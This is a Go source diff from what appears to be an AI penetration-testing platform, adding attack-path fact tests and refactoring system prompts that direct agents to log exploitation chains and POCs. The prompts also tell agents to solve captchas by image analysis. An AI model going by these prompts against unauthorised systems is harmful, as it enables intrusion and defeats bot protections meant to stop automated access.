case "auth", "infra", "business":
score += 200
case "note":
score += 50
default:
key := strings.ToLower(strings.TrimSpace(f.FactKey))
if strings.HasPrefix(key, "target/") {
score += 400
} else if strings.HasPrefix(key, "finding/") || strings.HasPrefix(key, "chain/") {
score += 300
}
}
if strings.EqualFold(strings.TrimSpace(f.Confidence), "confirmed") {
score += 80
}
return score
}
func sortFactsForIndex(facts []*database.ProjectFact) {
sort.SliceStable(facts, func(i, j int) bool {
pi, pj := factIndexSortPriority(facts[i]), factIndexSortPriority(facts[j])
if pi != pj {
return pi > pj
}
return facts[i].UpdatedAt.After(facts[j].UpdatedAt)
})
}
+161
View File
@@ -0,0 +1,161 @@
package project
import (
"fmt"
"path/filepath"
"strings"
"testing"
"cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/database"
"go.uber.org/zap"
)
func TestFormatIncomingLinksHint(t *testing.T) {
t.Parallel()
hint := FormatIncomingLinksHint([]*database.ProjectFactEdge{
{EdgeType: "discovered_on", SourceFactKey: "finding/x", Confidence: "tentative"},
})
if !strings.Contains(hint, "入边:") {
t.Fatalf("expected 入边 label: %q", hint)
}
if !strings.Contains(hint, "discovered_on←finding/x") {
t.Fatalf("unexpected hint: %q", hint)
}
if !strings.Contains(hint, "tentative") {
t.Fatalf("expected tentative in hint: %q", hint)
}
}
func TestFormatIncomingLinksHint_allEdges(t *testing.T) {
t.Parallel()
edges := make([]*database.ProjectFactEdge, 0, 5)
for i := 1; i <= 5; i++ {
edges = append(edges, &database.ProjectFactEdge{
EdgeType: "discovered_on",
SourceFactKey: fmt.Sprintf("finding/f%d", i),
Confidence: "tentative",
})
}
hint := FormatIncomingLinksHint(edges)
if strings.Contains(hint, "+") {
t.Fatalf("should not truncate with +N: %q", hint)
}
for i := 1; i <= 5; i++ {
if !strings.Contains(hint, fmt.Sprintf("finding/f%d", i)) {
t.Fatalf("missing edge f%d in hint: %q", i, hint)
}
}
}
func TestFormatFactIndexLinksHint_incomingOnly(t *testing.T) {
t.Parallel()
in := []*database.ProjectFactEdge{
{EdgeType: "discovered_on", SourceFactKey: "target/dev", Confidence: "tentative"},
{EdgeType: "exploits", SourceFactKey: "exploit/rce", Confidence: "confirmed"},
}
hint := FormatFactIndexLinksHint("finding/sqli", in)
if !strings.Contains(hint, "关系边:") {
t.Fatalf("missing 关系边 label: %q", hint)
}
if !strings.Contains(hint, "discovered_on←target/dev") {
t.Fatalf("missing discovered_on: %q", hint)
}
if !strings.Contains(hint, "exploits←exploit/rce") {
t.Fatalf("missing exploits: %q", hint)
}
if strings.Contains(hint, "出边") || strings.Contains(hint, "入边") {
t.Fatalf("should not use legacy 出边/入边 labels: %q", hint)
}
}
func TestFormatFactIndexLinksHint_includesAuxiliaryEdgeTypes(t *testing.T) {
t.Parallel()
in := []*database.ProjectFactEdge{{EdgeType: "supports", SourceFactKey: "note/log"}}
hint := FormatFactIndexLinksHint("finding/x", in)
if !strings.Contains(hint, "supports←note/log") {
t.Fatalf("supports edge should be included: %q", hint)
}
}
func TestBuildFactPathOverviewSection(t *testing.T) {
t.Parallel()
edges := []*database.ProjectFactEdge{
{EdgeType: "discovered_on", SourceFactKey: "target/dev", TargetFactKey: "finding/sqli", Confidence: "tentative"},
{EdgeType: "exploits", SourceFactKey: "exploit/rce", TargetFactKey: "finding/sqli", Confidence: "confirmed"},
{EdgeType: "supports", SourceFactKey: "note/log", TargetFactKey: "finding/sqli"},
}
keys := map[string]struct{}{
"target/dev": {}, "finding/sqli": {}, "exploit/rce": {}, "note/log": {},
}
section := BuildFactPathOverviewSection(edges, keys, 800)
if !strings.Contains(section, "### 攻击路径(事实关系)") {
t.Fatalf("missing header: %q", section)
}
if !strings.Contains(section, "target/dev → finding/sqli") {
t.Fatalf("missing discovered_on line: %q", section)
}
if !strings.Contains(section, "exploit/rce → finding/sqli") {
t.Fatalf("missing exploits line: %q", section)
}
if !strings.Contains(section, "note/log → finding/sqli") {
t.Fatalf("supports edge should be included: %q", section)
}
}
func TestBuildFactIndexBlock_withLinksAndPathOverview(t *testing.T) {
t.Parallel()
dbPath := filepath.Join(t.TempDir(), "facts.db")
db, err := database.NewDB(dbPath, zap.NewNop())
if err != nil {
t.Fatal(err)
}
defer db.Close()
proj, err := db.CreateProject(&database.Project{Name: "path-proj"})
if err != nil {
t.Fatal(err)
}
_, err = db.UpsertProjectFact(&database.ProjectFact{
ProjectID: proj.ID,
FactKey: "target/dev",
Category: "target",
Summary: "dev 子域",
Confidence: "confirmed",
})
if err != nil {
t.Fatal(err)
}
_, err = db.UpsertProjectFact(&database.ProjectFact{
ProjectID: proj.ID,
FactKey: "finding/sqli",
Category: "finding",
Summary: "时间盲注",
Confidence: "tentative",
})
if err != nil {
t.Fatal(err)
}
_, err = db.AddProjectFactEdge(proj.ID, database.ProjectFactEdgeInput{
To: "finding/sqli",
Type: "discovered_on",
}, "target/dev", "")
if err != nil {
t.Fatal(err)
}
block, err := BuildFactIndexBlock(db, proj.ID, config.ProjectConfig{Enabled: true, FactIndexMaxRunes: 6500, FactIndexPathMaxRunes: 1000})
if err != nil {
t.Fatal(err)
}
if !strings.Contains(block, "关系边: discovered_on←target/dev") {
t.Fatalf("finding line should include relation hint: %q", block)
}
if !strings.Contains(block, "### 攻击路径(事实关系)") {
t.Fatalf("missing relation overview: %q", block)
}
if !strings.Contains(block, "target/dev → finding/sqli") {
t.Fatalf("missing overview edge: %q", block)
}
}
+9 -86
View File
@@ -1,100 +1,23 @@
package project package project
import ( import "cyberstrike-ai/internal/projectprompt"
"strings"
"cyberstrike-ai/internal/mcp/builtin" // FactRecordingIncrementalRhythmMarkdown 见 projectprompt。
)
// 边渗透边记录:统一节奏文案(agents/*.md 须与 FactRecordingIncrementalRhythmMarkdown 保持一致)。
const (
factRhythmCore = "勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 `upsert_project_fact`(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 `record_vulnerability`;与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。"
factRhythmCoordinatorSuffix = "委派/子任务返回新认知或漏洞时,由协调者及时写入,勿假定子代理已记。"
factRhythmSubAgentSuffix = "若工具集中无上述工具,须在交付物末尾给出「待落库」结构化条目(fact_key 建议、summary、body/POC 要点),供协调者**立即**写入。"
)
// FactRecordingIncrementalRhythmMarkdown 返回边渗透边记录节奏(Markdown,供 agents/*.md 与文档对齐)。
func FactRecordingIncrementalRhythmMarkdown(coordinator, subAgent bool) string { func FactRecordingIncrementalRhythmMarkdown(coordinator, subAgent bool) string {
var b strings.Builder return projectprompt.FactRecordingIncrementalRhythmMarkdown(coordinator, subAgent)
b.WriteString("- **边渗透边记录(强制节奏)**:")
b.WriteString(factRhythmCore)
if coordinator {
b.WriteString(factRhythmCoordinatorSuffix)
}
if subAgent {
b.WriteString(factRhythmSubAgentSuffix)
}
return b.String()
} }
func factRecordingIncrementalRhythmBuiltin(coordinator, subAgent bool) string { // FactRecordingBlackboardSection 见 projectprompt。
var b strings.Builder
b.WriteString("- **边渗透边记录(强制节奏)**:勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 ")
b.WriteString(builtin.ToolUpsertProjectFact)
b.WriteString("(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 ")
b.WriteString(builtin.ToolRecordVulnerability)
b.WriteString(";与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。")
if coordinator {
b.WriteString(factRhythmCoordinatorSuffix)
}
if subAgent {
b.WriteString(factRhythmSubAgentSuffix)
}
return b.String()
}
// FactRecordingBlackboardSection 项目黑板与漏洞记录的完整系统提示块(单/多 Agent 主代理共用)。
// coordinatorDelegate 为 true 时追加「协调者代子代理落库」说明(Deep / plan_execute / supervisor)。
func FactRecordingBlackboardSection(coordinatorDelegate bool) string { func FactRecordingBlackboardSection(coordinatorDelegate bool) string {
var b strings.Builder return projectprompt.FactRecordingBlackboardSection(coordinatorDelegate)
b.WriteString("## 项目黑板(事实)与漏洞记录(分离)\n\n")
b.WriteString("当前对话若已绑定项目,系统会自动注入「项目黑板索引」(仅 fact_key + 摘要)。**摘要不足时必须调用 ")
b.WriteString(builtin.ToolGetProjectFact)
b.WriteString("(fact_key) 获取 body,禁止凭摘要臆造细节。**\n\n")
b.WriteString(factRecordingIncrementalRhythmBuiltin(coordinatorDelegate, false))
b.WriteString("\n\n")
b.WriteString("- **环境/目标/认证等认知**(非正式漏洞条目):使用 ")
b.WriteString(builtin.ToolUpsertProjectFact)
b.WriteString("fact_key 建议 `category/slug`(如 target/primary_domain),同 key 覆盖更新;body 记端口/版本/凭据特征与证据来源。\n")
b.WriteString("- **发现与利用上下文**(审计复现):fact_key 建议 finding/、chain/、exploit/、poc/ 前缀;**body 必填**完整攻击链(入口 → 步骤 → 原始请求/响应或命令 → 现象 → 关联 related_vulnerability_id),**禁止仅写结论**summary 写「什么 + 在哪 + 如何验证」一行要点。\n")
b.WriteString("- **可交付漏洞**:使用 ")
b.WriteString(builtin.ToolRecordVulnerability)
b.WriteString(",含标题、严重程度、类型、目标、证明(POC)、影响、修复建议。记前可先 ")
b.WriteString(builtin.ToolListVulnerabilities)
b.WriteString(" 查重,详情用 ")
b.WriteString(builtin.ToolGetVulnerability)
b.WriteString("(id)(默认仅当前项目/会话)。\n")
b.WriteString("- 同一发现可能需**各记一次**(事实记**完整攻击链与 exploit 细节**供复现,漏洞记正式 findings)。误报用 ")
b.WriteString(builtin.ToolDeprecateProjectFact)
b.WriteString(" 或漏洞状态 false_positive。\n")
b.WriteString("- 事实多时用 ")
b.WriteString(builtin.ToolListProjectFacts)
b.WriteString(" / ")
b.WriteString(builtin.ToolSearchProjectFacts)
b.WriteString(" 检索。\n\n")
b.WriteString(FactRecordingGuidanceBlock())
b.WriteString("\n\n严重程度:critical / high / medium / low / info。证明须含足够证据(请求响应、截图、命令输出等)。")
return b.String()
} }
// FactRecordingSubAgentSection 子代理边渗透边记录(无工具时输出待落库条目) // FactRecordingSubAgentSection 见 projectprompt
func FactRecordingSubAgentSection() string { func FactRecordingSubAgentSection() string {
return "## 边渗透边记录\n\n" + factRecordingIncrementalRhythmBuiltin(false, true) + "\n" return projectprompt.FactRecordingSubAgentSection()
} }
// FactRecordingBlackboardSectionMarkdown 与 FactRecordingBlackboardSection 等价的 Markdown(工具名为字面量,供 agents/*.md // FactRecordingBlackboardSectionMarkdown 见 projectprompt
func FactRecordingBlackboardSectionMarkdown(coordinatorDelegate bool) string { func FactRecordingBlackboardSectionMarkdown(coordinatorDelegate bool) string {
var b strings.Builder return projectprompt.FactRecordingBlackboardSectionMarkdown(coordinatorDelegate)
b.WriteString("## 项目黑板(事实)与漏洞记录(分离)\n\n")
b.WriteString("当前对话若已绑定项目,系统会自动注入「项目黑板索引」(仅 `fact_key` + 摘要)。**摘要不足时必须调用 `get_project_fact(fact_key)` 获取 body,禁止凭摘要臆造细节。**\n\n")
b.WriteString(FactRecordingIncrementalRhythmMarkdown(coordinatorDelegate, false))
b.WriteString("\n\n")
b.WriteString("- **环境/目标/认证等认知**(非正式漏洞):使用 **`upsert_project_fact`**`fact_key` 建议 `category/slug`(如 `target/primary_domain`),同 key 覆盖更新;body 记端口/版本/凭据特征与证据来源。\n")
b.WriteString("- **发现与利用上下文**(审计复现):`fact_key` 建议 `finding/`、`chain/`、`exploit/`、`poc/` 前缀;**body 必填**完整攻击链(入口 → 步骤 → 原始请求/响应或命令 → 现象 → 关联 `related_vulnerability_id`),**禁止仅写结论**summary 写「什么 + 在哪 + 如何验证」一行要点。\n")
b.WriteString("- **可交付漏洞**:使用 **`record_vulnerability`**(标题、描述、严重程度、类型、目标、证明 POC、影响、修复建议)。严重程度 critical / high / medium / low / info。\n")
b.WriteString("- 同一发现可能需**各记一次**(事实记可复现攻击链,漏洞记正式 findings)。误报用 **`deprecate_project_fact`** 或漏洞状态 false_positive。\n")
b.WriteString("- 事实多时用 **`list_project_facts`** / **`search_project_facts`** 检索。\n\n")
b.WriteString(FactRecordingGuidanceBlock())
b.WriteString("\n\n严重程度:critical / high / medium / low / info。证明须含足够证据(请求响应、截图、命令输出等)。")
return b.String()
} }
+5 -10
View File
@@ -3,6 +3,8 @@ package project
import ( import (
"fmt" "fmt"
"strings" "strings"
"cyberstrike-ai/internal/projectprompt"
) )
// 事实 category 常量(写入 upsert_project_fact 的 category 字段)。 // 事实 category 常量(写入 upsert_project_fact 的 category 字段)。
@@ -90,7 +92,8 @@ const attackChainFactBodyTemplate = `## 结论(可验证,一句话)
## 关联 ## 关联
- related_vulnerability_id: <可选对应 record_vulnerability id> - related_vulnerability_id: <可选对应 record_vulnerability id>
- 依赖事实: <fact_key auth/session_cookie> - linksupsert 参数: [{ "from": "<fact_key>", "type": "discovered_on|..." }]from 当前 fact
- 依赖事实body 可读镜像: <fact_key auth/session_cookie>
## 备注与不确定性 ## 备注与不确定性
<待验证假设环境差异绕过尝试记录>` <待验证假设环境差异绕过尝试记录>`
@@ -109,15 +112,7 @@ const envFactBodyTemplate = `## 摘要
// FactRecordingGuidanceBlock 写入系统提示:要求事实沉淀攻击链上下文而非仅结论。 // FactRecordingGuidanceBlock 写入系统提示:要求事实沉淀攻击链上下文而非仅结论。
func FactRecordingGuidanceBlock() string { func FactRecordingGuidanceBlock() string {
return `### 事实写入规范审计复现 / 知识沉淀 return projectprompt.FactRecordingGuidanceBlock()
- **summary**索引用一行须含什么 + 在哪 + 如何触发/验证要点禁止只写结论如仅写存在 SQLi
- **body**完整可复现上下文写入 ` + "`upsert_project_fact`" + ` body 字段索引不含 body后续会话须靠 ` + "`get_project_fact`" + ` 取回
- **category / fact_key 建议**
- 环境认知` + "`target/`" + `` + "`auth/`" + `` + "`infra/`" + `` + "`business/`" + `body 用环境模板即可
- 发现与利用` + "`finding/`" + `` + "`chain/`" + `` + "`exploit/`" + `` + "`poc/`" + `**必须**用攻击链模板填满 body入口逐步攻击链原始请求/响应或命令证据关联漏洞 ID
- **与漏洞记录分工**` + "`record_vulnerability`" + ` 记可交付 findings事实记**复现所需的全部上下文**含失败尝试绕过依赖会话二者可各记一次
- 更新同一发现时保持相同 ` + "`fact_key`" + ` 覆盖写入勿散落多个 key 导致上下文丢失`
} }
// SparseBodyWarning 攻击链类事实 body 不足时的工具返回提示(不阻断保存)。 // SparseBodyWarning 攻击链类事实 body 不足时的工具返回提示(不阻断保存)。
+5 -1
View File
@@ -2,10 +2,14 @@ package project
import "strings" import "strings"
// VisionImageSectionMarker 图片分析 section 标题(与 AppendVisionImageAnalysisIfReady 注入一致)。
const VisionImageSectionMarker = "## 图片分析"
// VisionImageAnalysisSection 单/多代理共用的图片分析提示(analyze_image;上下文仅保留文字摘要)。 // VisionImageAnalysisSection 单/多代理共用的图片分析提示(analyze_image;上下文仅保留文字摘要)。
func VisionImageAnalysisSection() string { func VisionImageAnalysisSection() string {
var b strings.Builder var b strings.Builder
b.WriteString("## 图片分析\n\n") b.WriteString(VisionImageSectionMarker)
b.WriteString("\n\n")
b.WriteString("- 遇到图片文件(截图、验证码、登录页、报告配图)时,若存在工具 analyze_image,请传入服务器上的文件路径进行分析。\n") b.WriteString("- 遇到图片文件(截图、验证码、登录页、报告配图)时,若存在工具 analyze_image,请传入服务器上的文件路径进行分析。\n")
b.WriteString("- 不要对二进制图片使用 read_file 指望理解内容;用户消息中「📎 xxx.png: /path」即为可传给 analyze_image 的路径。\n") b.WriteString("- 不要对二进制图片使用 read_file 指望理解内容;用户消息中「📎 xxx.png: /path」即为可传给 analyze_image 的路径。\n")
b.WriteString("- 验证码类:若已从页面或接口保存为本地图片(如 captcha.png),用 analyze_imagequestion 写明「只输出验证码字符」;识别失败则刷新验证码后重新保存再识;复杂滑块/行为验证码勿指望单次识图成功。\n") b.WriteString("- 验证码类:若已从页面或接口保存为本地图片(如 captcha.png),用 analyze_imagequestion 写明「只输出验证码字符」;识别失败则刷新验证码后重新保存再识;复杂滑块/行为验证码勿指望单次识图成功。\n")
+132
View File
@@ -0,0 +1,132 @@
// Package projectprompt 提供项目黑板相关的系统提示文本(纯字符串,无 database 依赖)。
// 供 agent / multiagent 等包引用,避免 agent → project 导入环导致 gopls 元数据失败。
package projectprompt
import (
"strings"
"cyberstrike-ai/internal/mcp/builtin"
)
const (
factRhythmCore = "勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 `upsert_project_fact`(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 `record_vulnerability`;与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。"
factRhythmCoordinatorSuffix = "委派/子任务返回新认知或漏洞时,由协调者及时写入,勿假定子代理已记。"
factRhythmSubAgentSuffix = "若工具集中无上述工具,须在交付物末尾给出「待落库」结构化条目(fact_key 建议、summary、body/POC 要点),供协调者**立即**写入。"
)
// FactRecordingIncrementalRhythmMarkdown 返回边渗透边记录节奏(Markdown,供 agents/*.md 与文档对齐)。
func FactRecordingIncrementalRhythmMarkdown(coordinator, subAgent bool) string {
var b strings.Builder
b.WriteString("- **边渗透边记录(强制节奏)**:")
b.WriteString(factRhythmCore)
if coordinator {
b.WriteString(factRhythmCoordinatorSuffix)
}
if subAgent {
b.WriteString(factRhythmSubAgentSuffix)
}
return b.String()
}
func factRecordingIncrementalRhythmBuiltin(coordinator, subAgent bool) string {
var b strings.Builder
b.WriteString("- **边渗透边记录(强制节奏)**:勿等会话结束或收尾再批量写入。每**确认**一条新认知(开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化)后,**立即**调用 ")
b.WriteString(builtin.ToolUpsertProjectFact)
b.WriteString("(同 fact_key 覆盖更新)。每**验证**出一条可复现漏洞(含 POC/影响)后,**立即**调用 ")
b.WriteString(builtin.ToolRecordVulnerability)
b.WriteString(";与事实可各记一次。继续下一步工作前优先落库,避免上下文压缩后细节丢失。未绑项目时说明无法写黑板,仍在本轮保留证据摘要。")
if coordinator {
b.WriteString(factRhythmCoordinatorSuffix)
}
if subAgent {
b.WriteString(factRhythmSubAgentSuffix)
}
return b.String()
}
func factEdgeRecordingGuidance() string {
return `### 事实关系边links
- 写入 **finding / chain / exploit / poc** **必须** ` + "`upsert_project_fact`" + ` 中提供 ` + "`links`" + `**推荐 ` + "`from`" + `**来源 fact 指向当前 fact ` + "`from`" + ` 当前 ` + "`fact_key`" + `
- **最少要求**finding 类至少 1 from=target/* + type=discovered_on target finding finding 上记录 exploit from=exploit/* + type=exploits exploit finding
- **常用 type**` + "`discovered_on`" + `发现在哪` + "`depends_on`" + `复现前置` + "`leads_to`" + `认知推进` + "`enables`" + `扩大攻击面` + "`exploits`" + `利用关系` + "`contains`" + `资产包含` + "`part_of`" + `属于链/` + "`supports`" + `证据支撑
- 更新时**省略 links 保留已有边**传入 links **替换**全部关系边from 当前 fact
- body 依赖事实段落可与 links 并存人读结构化关系以 links 为准`
}
func factRecordingGuidanceBlock() string {
return `### 事实写入规范审计复现 / 知识沉淀
- **summary**索引用一行须含什么 + 在哪 + 如何触发/验证要点禁止只写结论如仅写存在 SQLi
- **body**完整可复现上下文写入 ` + "`upsert_project_fact`" + ` body 字段索引不含 body后续会话须靠 ` + "`get_project_fact`" + ` 取回
- **category / fact_key 建议**
- 环境认知` + "`target/`" + `` + "`auth/`" + `` + "`infra/`" + `` + "`business/`" + `body 用环境模板即可
- 发现与利用` + "`finding/`" + `` + "`chain/`" + `` + "`exploit/`" + `` + "`poc/`" + `**必须**用攻击链模板填满 body入口逐步攻击链原始请求/响应或命令证据关联漏洞 ID
- **与漏洞记录分工**` + "`record_vulnerability`" + ` 记可交付 findings事实记**复现所需的全部上下文**含失败尝试绕过依赖会话二者可各记一次
- 更新同一发现时保持相同 ` + "`fact_key`" + ` 覆盖写入勿散落多个 key 导致上下文丢失`
}
// FactRecordingBlackboardSection 项目黑板与漏洞记录的完整系统提示块(单/多 Agent 主代理共用)。
func FactRecordingBlackboardSection(coordinatorDelegate bool) string {
var b strings.Builder
b.WriteString("## 项目黑板(事实)与漏洞记录(分离)\n\n")
b.WriteString("当前对话若已绑定项目,系统会自动注入「项目黑板索引」(仅 fact_key + 摘要)。**摘要不足时必须调用 ")
b.WriteString(builtin.ToolGetProjectFact)
b.WriteString("(fact_key) 获取 body,禁止凭摘要臆造细节。**\n\n")
b.WriteString(factRecordingIncrementalRhythmBuiltin(coordinatorDelegate, false))
b.WriteString("\n\n")
b.WriteString("- **环境/目标/认证等认知**(非正式漏洞条目):使用 ")
b.WriteString(builtin.ToolUpsertProjectFact)
b.WriteString("fact_key 建议 `category/slug`(如 target/primary_domain),同 key 覆盖更新;body 记端口/版本/凭据特征与证据来源。\n")
b.WriteString("- **发现与利用上下文**(审计复现):fact_key 建议 finding/、chain/、exploit/、poc/ 前缀;**body 必填**完整攻击链(入口 → 步骤 → 原始请求/响应或命令 → 现象 → 关联 related_vulnerability_id),**禁止仅写结论**summary 写「什么 + 在哪 + 如何验证」一行要点。\n")
b.WriteString("- **可交付漏洞**:使用 ")
b.WriteString(builtin.ToolRecordVulnerability)
b.WriteString(",含标题、严重程度、类型、目标、证明(POC)、影响、修复建议。记前可先 ")
b.WriteString(builtin.ToolListVulnerabilities)
b.WriteString(" 查重,详情用 ")
b.WriteString(builtin.ToolGetVulnerability)
b.WriteString("(id)(默认仅当前项目/会话)。\n")
b.WriteString("- 同一发现可能需**各记一次**(事实记**完整攻击链与 exploit 细节**供复现,漏洞记正式 findings)。误报用 ")
b.WriteString(builtin.ToolDeprecateProjectFact)
b.WriteString(" 或漏洞状态 false_positive。\n")
b.WriteString("- 事实多时用 ")
b.WriteString(builtin.ToolListProjectFacts)
b.WriteString(" / ")
b.WriteString(builtin.ToolSearchProjectFacts)
b.WriteString(" 检索。\n\n")
b.WriteString(factEdgeRecordingGuidance())
b.WriteString("\n\n")
b.WriteString(factRecordingGuidanceBlock())
b.WriteString("\n\n严重程度:critical / high / medium / low / info。证明须含足够证据(请求响应、截图、命令输出等)。")
return b.String()
}
// FactRecordingSubAgentSection 子代理边渗透边记录(无工具时输出待落库条目)。
func FactRecordingSubAgentSection() string {
return "## 边渗透边记录\n\n" + factRecordingIncrementalRhythmBuiltin(false, true) + "\n"
}
// FactRecordingBlackboardSectionMarkdown 与 FactRecordingBlackboardSection 等价的 Markdown(工具名为字面量,供 agents/*.md)。
func FactRecordingBlackboardSectionMarkdown(coordinatorDelegate bool) string {
var b strings.Builder
b.WriteString("## 项目黑板(事实)与漏洞记录(分离)\n\n")
b.WriteString("当前对话若已绑定项目,系统会自动注入「项目黑板索引」(仅 `fact_key` + 摘要)。**摘要不足时必须调用 `get_project_fact(fact_key)` 获取 body,禁止凭摘要臆造细节。**\n\n")
b.WriteString(FactRecordingIncrementalRhythmMarkdown(coordinatorDelegate, false))
b.WriteString("\n\n")
b.WriteString("- **环境/目标/认证等认知**(非正式漏洞):使用 **`upsert_project_fact`**`fact_key` 建议 `category/slug`(如 `target/primary_domain`),同 key 覆盖更新;body 记端口/版本/凭据特征与证据来源。\n")
b.WriteString("- **发现与利用上下文**(审计复现):`fact_key` 建议 `finding/`、`chain/`、`exploit/`、`poc/` 前缀;**body 必填**完整攻击链(入口 → 步骤 → 原始请求/响应或命令 → 现象 → 关联 `related_vulnerability_id`),**禁止仅写结论**summary 写「什么 + 在哪 + 如何验证」一行要点。\n")
b.WriteString("- **可交付漏洞**:使用 **`record_vulnerability`**(标题、描述、严重程度、类型、目标、证明 POC、影响、修复建议)。严重程度 critical / high / medium / low / info。\n")
b.WriteString("- 同一发现可能需**各记一次**(事实记可复现攻击链,漏洞记正式 findings)。误报用 **`deprecate_project_fact`** 或漏洞状态 false_positive。\n")
b.WriteString("- 事实多时用 **`list_project_facts`** / **`search_project_facts`** 检索。\n\n")
b.WriteString(factEdgeRecordingGuidance())
b.WriteString("\n\n")
b.WriteString(factRecordingGuidanceBlock())
b.WriteString("\n\n严重程度:critical / high / medium / low / info。证明须含足够证据(请求响应、截图、命令输出等)。")
return b.String()
}
// FactEdgeRecordingGuidance 写入边时的 Agent 规范(供 project 包复用)。
func FactEdgeRecordingGuidance() string { return factEdgeRecordingGuidance() }
// FactRecordingGuidanceBlock 事实写入规范块(供 project 包复用)。
func FactRecordingGuidanceBlock() string { return factRecordingGuidanceBlock() }
+46 -16
View File
@@ -84,8 +84,9 @@ func ApplyToEinoChatModelConfig(cfg *einoopenai.ChatModelConfig, oa *config.Open
} }
} }
// applyClaudeExtendedThinking sets Anthropic Messages API `thinking` when absent from ExtraRequestFields. // applyClaudeExtendedThinking sets Anthropic Messages API fields per official guidance:
// Uses adaptive + summarized display by default (per Anthropic guidance for Claude 4.x); Sonnet 3.7 uses enabled+budget. // - Adaptive models (4.6+): thinking.type=adaptive; output_config.effort only when user sets effort (API default is high).
// - Sonnet 3.7: thinking.type=enabled + budget_tokens=10000 (doc example); effort is not mapped — use extra_request_fields for custom budget.
func applyClaudeExtendedThinking(cfg *einoopenai.ChatModelConfig, mode, effort, model string) { func applyClaudeExtendedThinking(cfg *einoopenai.ChatModelConfig, mode, effort, model string) {
if cfg == nil || mode == "off" { if cfg == nil || mode == "off" {
return return
@@ -93,31 +94,60 @@ func applyClaudeExtendedThinking(cfg *einoopenai.ChatModelConfig, mode, effort,
if cfg.ExtraFields == nil { if cfg.ExtraFields == nil {
cfg.ExtraFields = make(map[string]any) cfg.ExtraFields = make(map[string]any)
} }
if _, exists := cfg.ExtraFields["thinking"]; exists {
return
}
m := strings.ToLower(strings.TrimSpace(model)) m := strings.ToLower(strings.TrimSpace(model))
thinking := map[string]any{ sonnet37 := isClaudeSonnet37(m)
"type": "adaptive",
"display": "summarized", if _, exists := cfg.ExtraFields["thinking"]; !exists {
cfg.ExtraFields["thinking"] = claudeThinkingForModel(m, sonnet37)
} }
// Sonnet 3.7: manual extended thinking is the documented path.
if strings.Contains(m, "claude-3-7-sonnet") || strings.Contains(m, "3-7-sonnet") || strings.Contains(m, "sonnet-3.7") { applyClaudeOutputConfigEffort(cfg, effort, sonnet37)
thinking = map[string]any{ }
// claudeSonnet37DefaultBudgetTokens matches Anthropic extended-thinking documentation examples (budget_tokens with max_tokens 16000).
const claudeSonnet37DefaultBudgetTokens = 10000
func isClaudeSonnet37(m string) bool {
return strings.Contains(m, "claude-3-7-sonnet") ||
strings.Contains(m, "3-7-sonnet") ||
strings.Contains(m, "sonnet-3.7")
}
func claudeThinkingForModel(m string, sonnet37 bool) map[string]any {
if sonnet37 {
return map[string]any{
"type": "enabled", "type": "enabled",
"budget_tokens": 10000, "budget_tokens": claudeSonnet37DefaultBudgetTokens,
"display": "summarized", "display": "summarized",
} }
} }
// Opus 4.7+: manual enabled+budget rejected — keep adaptive only. // Opus 4.7+: manual enabled+budget rejected — adaptive only.
if strings.Contains(m, "opus-4-7") || strings.Contains(m, "opus-4.7") { if strings.Contains(m, "opus-4-7") || strings.Contains(m, "opus-4.7") {
thinking = map[string]any{ return map[string]any{
"type": "adaptive", "type": "adaptive",
"display": "summarized", "display": "summarized",
} }
} }
_ = effort // reserved: map to Anthropic effort / output_config when API stabilizes in one place return map[string]any{
cfg.ExtraFields["thinking"] = thinking "type": "adaptive",
"display": "summarized",
}
}
// applyClaudeOutputConfigEffort sets top-level output_config.effort only when effort is explicitly configured.
// Omitted effort uses the API default (high); do not inject effort on mode:on alone.
func applyClaudeOutputConfigEffort(cfg *einoopenai.ChatModelConfig, effort string, sonnet37 bool) {
if cfg == nil || sonnet37 {
return
}
if _, exists := cfg.ExtraFields["output_config"]; exists {
return
}
e := effortStringForAPI(effort)
if e == "" {
return
}
cfg.ExtraFields["output_config"] = map[string]any{"effort": e}
} }
func effectiveMode(sr *config.OpenAIReasoningConfig, client *ClientIntent, allowClient bool) string { func effectiveMode(sr *config.OpenAIReasoningConfig, client *ClientIntent, allowClient bool) string {

Some files were not shown because too many files have changed in this diff Show More